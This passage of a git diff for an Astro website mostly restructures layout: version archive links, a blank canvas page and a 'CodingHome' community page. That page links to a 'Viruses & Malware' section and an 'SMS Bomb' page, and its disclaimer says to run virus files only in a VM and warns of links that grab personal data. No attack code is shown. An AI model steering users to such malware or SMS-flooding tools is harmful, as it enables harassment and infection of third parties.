-          <a href="https://2-4-1.atproducts.xyz" class="sw-link text-wrap">2.4.1</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-4-2.atproducts.xyz" class="sw-link text-wrap">2.4.2</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-4-3.atproducts.xyz" class="sw-link text-wrap">2.4.3</a>
-        </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-5.atproducts.xyz" class="sw-link text-wrap">2.5</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-5-1.atproducts.xyz" class="sw-link text-wrap">2.5.1</a>
-        </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-6.atproducts.xyz" class="sw-link text-wrap">2.6</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-6-1.atproducts.xyz" class="sw-link text-wrap">2.6.1</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-6-2.atproducts.xyz" class="sw-link text-wrap">2.6.2</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-6-3.atproducts.xyz" class="sw-link text-wrap">2.6.3</a>
-        </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-7.atproducts.xyz" class="sw-link text-wrap">2.7</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-7-1.atproducts.xyz" class="sw-link text-wrap">2.7.1</a>
-        </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-8.atproducts.xyz" class="sw-link text-wrap">2.8</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-8-1.atproducts.xyz" class="sw-link text-wrap">2.8.1</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-8-2.atproducts.xyz" class="sw-link text-wrap">2.8.2</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-8-3.atproducts.xyz" class="sw-link text-wrap">2.8.3</a>
-        </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-9.atproducts.xyz" class="sw-link text-wrap">2.9</a>
-        </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-10.atproducts.xyz" class="sw-link text-wrap">2.10</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-10-1.atproducts.xyz" class="sw-link text-wrap">2.10.1</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-10-2.atproducts.xyz" class="sw-link text-wrap">2.10.2</a>
-        </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-11.atproducts.xyz" class="sw-link text-wrap">2.11</a>
-        </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-12.atproducts.xyz" class="sw-link text-wrap">2.12</a>
-        </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-13.atproducts.xyz" class="sw-link text-wrap">2.13</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-13-1.atproducts.xyz" class="sw-link text-wrap">2.13.1</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-13-2.atproducts.xyz" class="sw-link text-wrap">2.13.2</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-13-3.atproducts.xyz" class="sw-link text-wrap">2.13.3</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-13-3-1.atproducts.xyz" class="sw-link text-wrap">2.13.3.1</a>
-        </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-14.atproducts.xyz" class="sw-link text-wrap">2.14</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-14-1.atproducts.xyz" class="sw-link text-wrap">2.14.1</a>
+  <div id="main-content">
+    <main id="archive" class="container">
+      <h1 class="title"> Public Archive </h1>
+      <p> Wanna view our archive of pages we no longer use or just do not belong on the site? Sure! </p>
+      <h2>Important Pages</h2>
+      <p>
+        <a href="https://other.atproducts.xyz/maintenance">Current Maintenance Page (used after 2.18.0.1)</a>
+        <i>Last used on 10/21/24 for DNS refreshing.</i>
+      </p>
+      <p>
+        <a href="https://beta-testing.atproducts.xyz/">Current Beta Testing Site (after 2.18)</a>
+      </p>
+      <p>
+        <a href="https://other.atproducts.xyz/portfolio">Alex Toucan's Portfolio</a> 
+      </p>
+      <p>
+        <a href="/backup/canvas">Blank Canvas (2.18 - currently used)</a>
+      </p>
+      <h2>Unused/Unmaintained Pages</h2>
+      <p>
+        <b> These pages are as is. They will never be updated, not even for bug fixes (except for legal updates), for testing and preserving purposes.</b>
+      </p>
+      <br>
+      <p>
+        <a href="https://backup.atproducts.xyz/maintenance.old">Old Maintenance Page (retired after 2.18.0.1)</a>
+        <i>Last used on 12/20/23 for 2.17.1.</i>
+      </p>
+      <p>
+        <a href="https://backup.atproducts.xyz/credits">Credits (2.5.1 [unused])</a>
+        <i>This was brought back in 2.6.2 as its section in the index page.</i>
+      </p>
+      <p>
+        <a href="https://beta-testing-archived.atproducts.xyz/">Old Beta Testing Site (before 2.6 - 2.18)</a>
+      </p>
+      <p>
+        <a href="https://backup.atproducts.xyz/food">Food Bot (2.6 - 2.6.2)</a>
+      </p>
+      <p>
+        <a href="https://backup.atproducts.xyz/warn">Warnings (2.6 - 2.6.2)</a>
+      </p>
+      <p>
+        <a href="https://backup.atproducts.xyz/portal">Portal (2.7 - 2.11 [unused elsewhere])</a>
+      </p>
+      <p>
+        <a href="https://backup.atproducts.xyz/roms">AT's ROM Games (1.0 - 2.6.2 [original page])</a>
+      </p>
+      <h2>Other Projects/Pages</h2>
+      <p>
+        <a href="https://other.atproducts.xyz/blue/">Blue Ball Machine</a>
+        <i>Based off <a href="https://web.archive.org/web/20151031072938/http://www.haneke.net/">haneke.net</a>.</i>
+      </p>
+      <p>
+        <a href="https://other.atproducts.xyz/shopping">Shopping Template</a>
+      </p>
+      <p>
+        <a href="https://other.atproducts.xyz/paidpacket/">Farmer's Market Paid Packet</a>
+      </p>
+      <p>
+        <a href="https://other.atproducts.xyz/tigercards">Howard Tiger Cards</a>
+      </p>
+      <p>
+        <a href="https://github.com/Alex-Toucan/c-code">Basic C Code</a>
+      </p>
+      <h2>Versions</h2>
+      <p>
+        <b> These pages are as is. They will never be updated, not even for bug fixes (except for legal updates), for testing and preserving purposes.</b>
+        <b> PLEASE NOTE ALL LEGAL DOCUMENTS ARE INVALID EXCEPT FOR THE LASTEST VERSION, ALL VALID LEGAL DOCUMENTS ARE ON *.atproducts.xyz.</b>
+      </p>
+      <div id="menu" class="text-wrap">
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://1-0.atproducts.xyz" class="sw-link text-wrap">1.0</a>
+          </div>
         </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-14-1-1.atproducts.xyz" class="sw-link text-wrap">2.14.1.1</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-0-1.atproducts.xyz" class="sw-link text-wrap">2.0.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-0-2.atproducts.xyz" class="sw-link text-wrap">2.0.2</a>
+          </div>
         </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-14-2.atproducts.xyz" class="sw-link text-wrap">2.14.2</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-1.atproducts.xyz" class="sw-link text-wrap">2.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-1-1.atproducts.xyz" class="sw-link text-wrap">2.1.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-1-2.atproducts.xyz" class="sw-link text-wrap">2.1.2</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-1-3.atproducts.xyz" class="sw-link text-wrap">2.1.3</a>
+          </div>
         </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col d-flex gap-1">
-          <a href="https://2-15.atproducts.xyz" class=" sw-link text-wrap">2.15</a>
-          <div class="dropdown d-inline">
-            <button class="footer-info dropdown-toggle sw-link text-wrap" type="button" data-bs-toggle="dropdown" aria-expanded="false"></button>
-            <ul class="dropdown-menu" data-popper-placement="top-start">
-              <li>
-                <a class="dropdown-item" href="https://2-15-alpha1.atproducts.xyz">2.15-alpha1</a>
-              </li>
-              <li>
-                <a class="dropdown-item" href="https://2-15-alpha2.atproducts.xyz">2.15-alpha2</a>
-              </li>
-              <li>
-                <a class="dropdown-item" href="https://2-15-alpha3.atproducts.xyz">2.15-alpha3</a>
-              </li>
-              <li>
-                <a class="dropdown-item" href="https://2-15-beta1.atproducts.xyz">2.15-beta1</a>
-              </li>
-              <li>
-                <a class="dropdown-item" href="https://2-15.atproducts.xyz">2.15</a>
-              </li>
-            </ul>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-2.atproducts.xyz" class="sw-link text-wrap">2.2</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-2-1.atproducts.xyz" class="sw-link text-wrap">2.2.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-2-1-1.atproducts.xyz" class="sw-link text-wrap">2.2.1.1</a>
           </div>
         </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-15-1.atproducts.xyz" class="sw-link text-wrap">2.15.1</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-3.atproducts.xyz" class="sw-link text-wrap">2.3</a>
+          </div>
         </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-15-2.atproducts.xyz" class="sw-link text-wrap">2.15.2</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-4.atproducts.xyz" class="sw-link text-wrap">2.4</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-4-1.atproducts.xyz" class="sw-link text-wrap">2.4.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-4-2.atproducts.xyz" class="sw-link text-wrap">2.4.2</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-4-3.atproducts.xyz" class="sw-link text-wrap">2.4.3</a>
+          </div>
         </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-15-2-1.atproducts.xyz" class="sw-link text-wrap">2.15.2.1</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-5.atproducts.xyz" class="sw-link text-wrap">2.5</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-5-1.atproducts.xyz" class="sw-link text-wrap">2.5.1</a>
+          </div>
         </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-16.atproducts.xyz" class="sw-link text-wrap">2.16</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-6.atproducts.xyz" class="sw-link text-wrap">2.6</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-6-1.atproducts.xyz" class="sw-link text-wrap">2.6.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-6-2.atproducts.xyz" class="sw-link text-wrap">2.6.2</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-6-3.atproducts.xyz" class="sw-link text-wrap">2.6.3</a>
+          </div>
         </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-16-1.atproducts.xyz" class="sw-link text-wrap">2.16.1</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-7.atproducts.xyz" class="sw-link text-wrap">2.7</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-7-1.atproducts.xyz" class="sw-link text-wrap">2.7.1</a>
+          </div>
         </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-16-1-1.atproducts.xyz" class="sw-link text-wrap">2.16.1.1</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-8.atproducts.xyz" class="sw-link text-wrap">2.8</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-8-1.atproducts.xyz" class="sw-link text-wrap">2.8.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-8-2.atproducts.xyz" class="sw-link text-wrap">2.8.2</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-8-3.atproducts.xyz" class="sw-link text-wrap">2.8.3</a>
+          </div>
         </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-16-1-2.atproducts.xyz" class="sw-link text-wrap">2.16.1.2</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-9.atproducts.xyz" class="sw-link text-wrap">2.9</a>
+          </div>
         </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-17.atproducts.xyz" class="sw-link text-wrap">2.17</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-10.atproducts.xyz" class="sw-link text-wrap">2.10</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-10-1.atproducts.xyz" class="sw-link text-wrap">2.10.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-10-2.atproducts.xyz" class="sw-link text-wrap">2.10.2</a>
+          </div>
         </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-17-1.atproducts.xyz" class="sw-link text-wrap">2.17.1</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-11.atproducts.xyz" class="sw-link text-wrap">2.11</a>
+          </div>
         </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-17-1-1.atproducts.xyz" class="sw-link text-wrap">2.17.1.1</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-12.atproducts.xyz" class="sw-link text-wrap">2.12</a>
+          </div>
         </div>
-        <div class="sw-feature-box col gap-2">
-          <a href="https://2-17-2.atproducts.xyz" class="sw-link text-wrap">2.17.2</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-13.atproducts.xyz" class="sw-link text-wrap">2.13</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-13-1.atproducts.xyz" class="sw-link text-wrap">2.13.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-13-2.atproducts.xyz" class="sw-link text-wrap">2.13.2</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-13-3.atproducts.xyz" class="sw-link text-wrap">2.13.3</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-13-3-1.atproducts.xyz" class="sw-link text-wrap">2.13.3.1</a>
+          </div>
         </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box d-flex col gap-2">
-          <a href="https://2-18.atproducts.xyz" class="sw-link text-wrap">2.18</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-14.atproducts.xyz" class="sw-link text-wrap">2.14</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-14-1.atproducts.xyz" class="sw-link text-wrap">2.14.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-14-1-1.atproducts.xyz" class="sw-link text-wrap">2.14.1.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-14-2.atproducts.xyz" class="sw-link text-wrap">2.14.2</a>
+          </div>
         </div>
-        <div class="sw-feature-box col gap-2">
-          <a href="https://2-18-0-1.atproducts.xyz" class="sw-link text-wrap">2.18.0.1</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col d-flex gap-1">
+            <a href="https://2-15.atproducts.xyz" class=" sw-link text-wrap">2.15</a>
+            <div class="dropdown ms-1 d-inline">
+              <button class="footer-info dropdown-toggle sw-link text-wrap" type="button" data-bs-toggle="dropdown" aria-expanded="false"></button>
+              <ul class="dropdown-menu" data-popper-placement="top-start">
+                <li>
+                  <a class="dropdown-item" href="https://2-15-alpha1.atproducts.xyz">2.15-alpha1</a>
+                </li>
+                <li>
+                  <a class="dropdown-item" href="https://2-15-alpha2.atproducts.xyz">2.15-alpha2</a>
+                </li>
+                <li>
+                  <a class="dropdown-item" href="https://2-15-alpha3.atproducts.xyz">2.15-alpha3</a>
+                </li>
+                <li>
+                  <a class="dropdown-item" href="https://2-15-beta1.atproducts.xyz">2.15-beta1</a>
+                </li>
+                <li>
+                  <a class="dropdown-item" href="https://2-15.atproducts.xyz">2.15</a>
+                </li>
+              </ul>
+            </div>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-15-1.atproducts.xyz" class="sw-link text-wrap">2.15.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-15-2.atproducts.xyz" class="sw-link text-wrap">2.15.2</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-15-2-1.atproducts.xyz" class="sw-link text-wrap">2.15.2.1</a>
+          </div>
         </div>
-        <div class="sw-feature-box col gap-2">
-          <a href="https://2-18-0-2.atproducts.xyz" class="sw-link text-wrap">2.18.0.2</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-16.atproducts.xyz" class="sw-link text-wrap">2.16</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-16-1.atproducts.xyz" class="sw-link text-wrap">2.16.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-16-1-1.atproducts.xyz" class="sw-link text-wrap">2.16.1.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-16-1-2.atproducts.xyz" class="sw-link text-wrap">2.16.1.2</a>
+          </div>
         </div>
-        <div class="sw-feature-box col gap-2">
-          <a href="https://2-18-0-3.atproducts.xyz" class="sw-link text-wrap">2.18.0.3</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-17.atproducts.xyz" class="sw-link text-wrap">2.17</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-17-1.atproducts.xyz" class="sw-link text-wrap">2.17.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-17-1-1.atproducts.xyz" class="sw-link text-wrap">2.17.1.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-17-2.atproducts.xyz" class="sw-link text-wrap">2.17.2</a>
+          </div>
         </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box d-flex col gap-2">
-          <a href="https://2-19.atproducts.xyz" class="sw-link text-wrap">2.19</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-18.atproducts.xyz" class="sw-link text-wrap">2.18</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-18-0-1.atproducts.xyz" class="sw-link text-wrap">2.18.0.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-18-0-2.atproducts.xyz" class="sw-link text-wrap">2.18.0.2</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-18-0-3.atproducts.xyz" class="sw-link text-wrap">2.18.0.3</a>
+          </div>
         </div>
-        <div class="sw-feature-box d-flex col gap-2">
-          <a href="https://2-19-1.atproducts.xyz" class="sw-link text-wrap">2.19.1</a>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-19.atproducts.xyz" class="sw-link text-wrap">2.19</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-19-1.atproducts.xyz" class="sw-link text-wrap">2.19.1</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-19-2.atproducts.xyz" class="sw-link text-wrap">2.19.2</a>
+          </div>
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-19-2-1.atproducts.xyz" class="sw-link text-wrap">2.19.2.1</a>
+          </div>
         </div>
-        <div class="sw-feature-box d-flex col gap-2">
-          <a href="https://2-19-2.atproducts.xyz" class="sw-link text-wrap">2.19.2</a>
-          <span class="bg-primary p-2 rounded-2 badge" style="line-height: .667 !important;">Latest</span>
+        <div class="d-flex">
+          <div class="sw-feature-box col gap-1">
+            <a href="https://2-20.atproducts.xyz" class="sw-link text-wrap">2.20</a>
+            <span class="bg-primary p-2 rounded-2 badge" style="line-height: .667 !important;">Latest</span>
+          </div>
         </div>
       </div>
+      <a class="visually-hidden-focusable p-2 mt-2 text-center" href="https://beta-testing.atproducts.xyz">secret button</a>
     </div>
-    <a class="visually-hidden-focusable p-2 mt-2 text-center" href="https://beta-testing.atproducts.xyz">secret button</a>
+  </main>
+  <Footer />
 </div>
-</main>
-<Footer />
 <BackToTop />
 </div>
 <Scripts />
diff --git a/src/pages/backup/canvas.astro b/src/pages/backup/canvas.astro
index 17d0125c0..1f0eb758b 100644
--- a/src/pages/backup/canvas.astro
+++ b/src/pages/backup/canvas.astro
@@ -9,15 +9,17 @@ import BackToTop from '../../components/BackToTop.astro';
 <Head title="Blank Canvas" description="This page is used as a blank canvas for our web-devs to use for testing new elements." author="Alex Toucan"/>
 <div id="page">
   <Navbar />
-  <main id="canvas" class="container">
-    <h1 class="title">Blank Canvas</h1>
-    <p>This page is a blank canvas for our web-devs to test new elements.</p>
-    <hr>
-    <div class="my-5 mx-auto" style="filter: drop-shadow(2px 4px 6px black);">
-      <div class="text-center">Insert Code Here (or remove the <code>&lt;div&gt;</code>)</div>
-    </div>
-  </main>
-<Footer />
+  <div id="main-content">
+    <main id="canvas" class="container">
+      <h1 class="title">Blank Canvas</h1>
+      <p>This page is a blank canvas for our web-devs to test new elements.</p>
+      <hr>
+      <div class="my-5 mx-auto" style="filter: drop-shadow(2px 4px 6px black);">
+        <div class="text-center">Insert Code Here (or remove the <code>&lt;div&gt;</code>)</div>
+      </div>
+    </main>
+    <Footer />
+  </div>
 <BackToTop />
 </div>
 <Scripts />
diff --git a/src/pages/backup/codinghome.astro b/src/pages/backup/codinghome.astro
index 8cc5cf948..f2da6d16a 100644
--- a/src/pages/backup/codinghome.astro
+++ b/src/pages/backup/codinghome.astro
@@ -10,1630 +10,1893 @@ import AccordionItem from '../../components/accordion/AccordionItem.astro';
 import BackToTop from '../../components/BackToTop.astro';
 ---
 
-<Head title="CodingHome" heroid="codinghome" icon="codinghome.webp" description="A Discord server full of coders!" keywords="Scripts, viruses, coding," author="Alex Toucan & CodingLive" />
+<Head highlight="true" title="CodingHome" heroid="codinghome" icon="codinghome.webp" description="CodingHome is a coding and web development community where tech enthusiasts of all skill levels can come together." keywords="Scripts, viruses, coding," author="Alex Toucan & CodingLive" />
 <div id="page">
   <Navbar />
-  <Hero id="codinghome" title="CodingHome" description="CodingHome is a coding and web development community where tech enthusiasts of all skill levels can come together." secondaryText="View the pop-up format" imageSrc="/media/images/codinghome.webp" imageWidth="15%" minImageWidth="150px" imageClasses="me-md-3 rounded-2" size="lg"
-    icons={[
-        { icon: "discord", desc: "Discord Server Invite", href: "https://discord.gg/pgGfhDVrmS" },
-        { icon: "bullseye", desc: "ProtDos", href: "https://protdos.com/" },
-        { icon: "github", desc: "GitHub", href: "https://github.com/protdos" },
-        { icon: "envelope-fill", desc: "ProtDos's Email", href: "mailto:contact@protdos.com" },
-    ]},
-    buttons={[
-      { href: "https://discord.gg/pgGfhDVrmS", text: "Discord Server Invite", type: "primary" },
-      { href: "/sms", text: "SMS Bomb", type: "secondary" },
-      { href: "/codinghome", text: "View the pop-up format", type: "secondary" },
-    ]},
-    dropdownItems={[
-      { navigationDesc: "Resources", navigationLink: "#resources-alt" },
-      { navigationDesc: "Viruses & Malware", navigationLink: "#files" },
-      { navigationDesc: "Code Samples", navigationLink: "#code" },
-      { navigationDesc: "Apps & Software", navigationLink: "#app" },
-      { navigationDesc: "Python Basics", navigationLink: "#py" },
-      { navigationDesc: "C++ Basics", navigationLink: "#cpp" },
-      { navigationDesc: "HTML Basics", navigationLink: "#html" },
-      { navigationDesc: "CSS Basics", navigationLink: "#css" },
-      { navigationDesc: "JavaScript Basics", navigationLink: "#js" },
-      { navigationDesc: "SQL Basics", navigationLink: "#sql" },
-      { navigationDesc: "JSON Basics", navigationLink: "#json" },
-    ]},
-  />  
-  <main id="codinghome" class="container">
-    <div id="disclaimer">
-      <h2> Disclaimer </h2>
-      <p> We do not take responsibility for any damage or legal issues with these files here at AT Products LLC, and the other communities at the Ethical Hacking Society, The Script Community, CodingHome, or the Noodle Hackerspace. <br>
-        <br> Use a virtual machine if it's a computer virus; never open it on your physical machine. As a precaution, download them on your VM. <br>
-        <br> If it's an APK file, use an emulator. <br>
-        <br>
-        <a href="https://www.vmware.com/topics/glossary/content/virtual-machine" target="_blank" rel="noopener noreferrer">More information on Virtual Machines (VM) </a>
-        <br>
-        <a href="https://developer.android.com/studio/run/emulator" target="_blank" rel="noopener noreferrer">More information on APK Emulators</a>
-        <br>
-        <br> Within the contents of this page, you'll find an <a class="link-warning" href="javascript:void(0)">orange/yellow link</a> and a <a class="link-danger" href="javascript:void(0)">dark red link</a>. An <a class="link-warning" href="javascript:void(0)">orange/yellow link</a> directs to pages in languages other than English, while a <a class="link-danger" href="javascript:void(0)">dark red link</a> might lead to a page that grabs your personal information upon visit, potentially displaying it publicly on-screen (please proceed with caution).
-      </p>
-    </div>
-    <hr>
-    <div id="resources-alt">
-      <h2> Resources </h2>
-      <div class="my-2 d-grid d-md-flex gap-2 text-center">
-        <div class="d-flex flex-wrap row-cols-3 rounded-2 overflow-hidden text-white col-12 col-md-6">
-          <b class="col-12 py-2 bg-secondary">Contributors</b>
-          <div class="col py-2 bg-secondary">#1</div>
-          <div class="col py-2 bg-secondary">#2</div>
-          <div class="col py-2 bg-secondary">#3</div>
-          <a href="https://github.com/Savageboitim13" class="btn btn-primary rounded-0 py-2 col">venenjean</a>
-          <a href="https://zoezo.dev" class="btn btn-primary rounded-0 py-2 col">Zoezo</a>
-          <a href="https://tryhackme.com/p/social" class="btn btn-primary rounded-0 py-2 col">Social</a>
-        </div>
-        <div class="d-flex flex-wrap row-cols-3 rounded-2 overflow-hidden text-white col-12 col-md-6">
-          <b class="col-12 py-2 bg-secondary align-middle">Additional Sources</b>
-          <a href="https://discord.gg/pYa87Bhau9" class="btn btn-primary rounded-0 py-2 col-lg col-12 align-middle">International Developers Inc.</a>
-          <a href="https://discord.com/invite/ring-zer0-827712340954578954" class="btn btn-primary rounded-0 py-2 col-lg col-12 align-middle">Ring Zer0</a>
-        </div>
+  <div id="main-content">
+    <Hero id="codinghome" title="CodingHome" description="CodingHome is a coding and web development community where tech enthusiasts of all skill levels can come together." secondaryText="View the pop-up format" imageSrc="/media/images/codinghome.webp" imageWidth="15%" minImageWidth="150px" imageClasses="me-md-3 rounded-2" size="lg" container="true"
+      icons={[
+          { icon: "discord", desc: "Discord Server Invite", href: "https://discord.gg/pgGfhDVrmS" },
+          { icon: "bullseye", desc: "ProtDos", href: "https://protdos.com/" },
+          { icon: "github", desc: "GitHub", href: "https://github.com/protdos" },
+          { icon: "envelope-fill", desc: "ProtDos's Email", href: "mailto:contact@protdos.com" },
+      ]},
+      buttons={[
+        { href: "https://discord.gg/pgGfhDVrmS", text: "Discord Server Invite", type: "primary" },
+        { href: "/sms", text: "SMS Bomb", type: "secondary" },
+        { href: "/codinghome", text: "View the pop-up format", type: "secondary" },
+      ]},
+      dropdownItems={[
+        { navigationDesc: "Resources", navigationLink: "#resources-alt" },
+        { navigationDesc: "Viruses & Malware", navigationLink: "#files" },
+        { navigationDesc: "Code Samples", navigationLink: "#code" },
+        { navigationDesc: "Apps & Software", navigationLink: "#app" },
+        { navigationDesc: "Python Basics", navigationLink: "#py" },
+        { navigationDesc: "C++ Basics", navigationLink: "#cpp" },
+        { navigationDesc: "HTML Basics", navigationLink: "#html" },
+        { navigationDesc: "CSS Basics", navigationLink: "#css" },
+        { navigationDesc: "JavaScript Basics", navigationLink: "#js" },
+        { navigationDesc: "SQL Basics", navigationLink: "#sql" },
+        { navigationDesc: "JSON Basics", navigationLink: "#json" },
+      ]},
+    />  
+    <main id="codinghome" class="container">
+      <div id="disclaimer">
+        <h2> Disclaimer </h2>
+        <p> We do not take responsibility for any damage or legal issues with these files here at AT Products LLC, and the other communities at the Ethical Hacking Society, The Script Community, CodingHome, or the Noodle Hackerspace. <br>
+          <br> Use a virtual machine if it's a computer virus; never open it on your physical machine. As a precaution, download them on your VM. <br>
+          <br> If it's an APK file, use an emulator. <br>
+          <br>
+          <a href="https://www.vmware.com/topics/glossary/content/virtual-machine" target="_blank" rel="noopener noreferrer">More information on Virtual Machines (VM) </a>
+          <br>
+          <a href="https://developer.android.com/studio/run/emulator" target="_blank" rel="noopener noreferrer">More information on APK Emulators</a>
+        </p>
       </div>
-      <figure class="figure mt-2 mb-0">
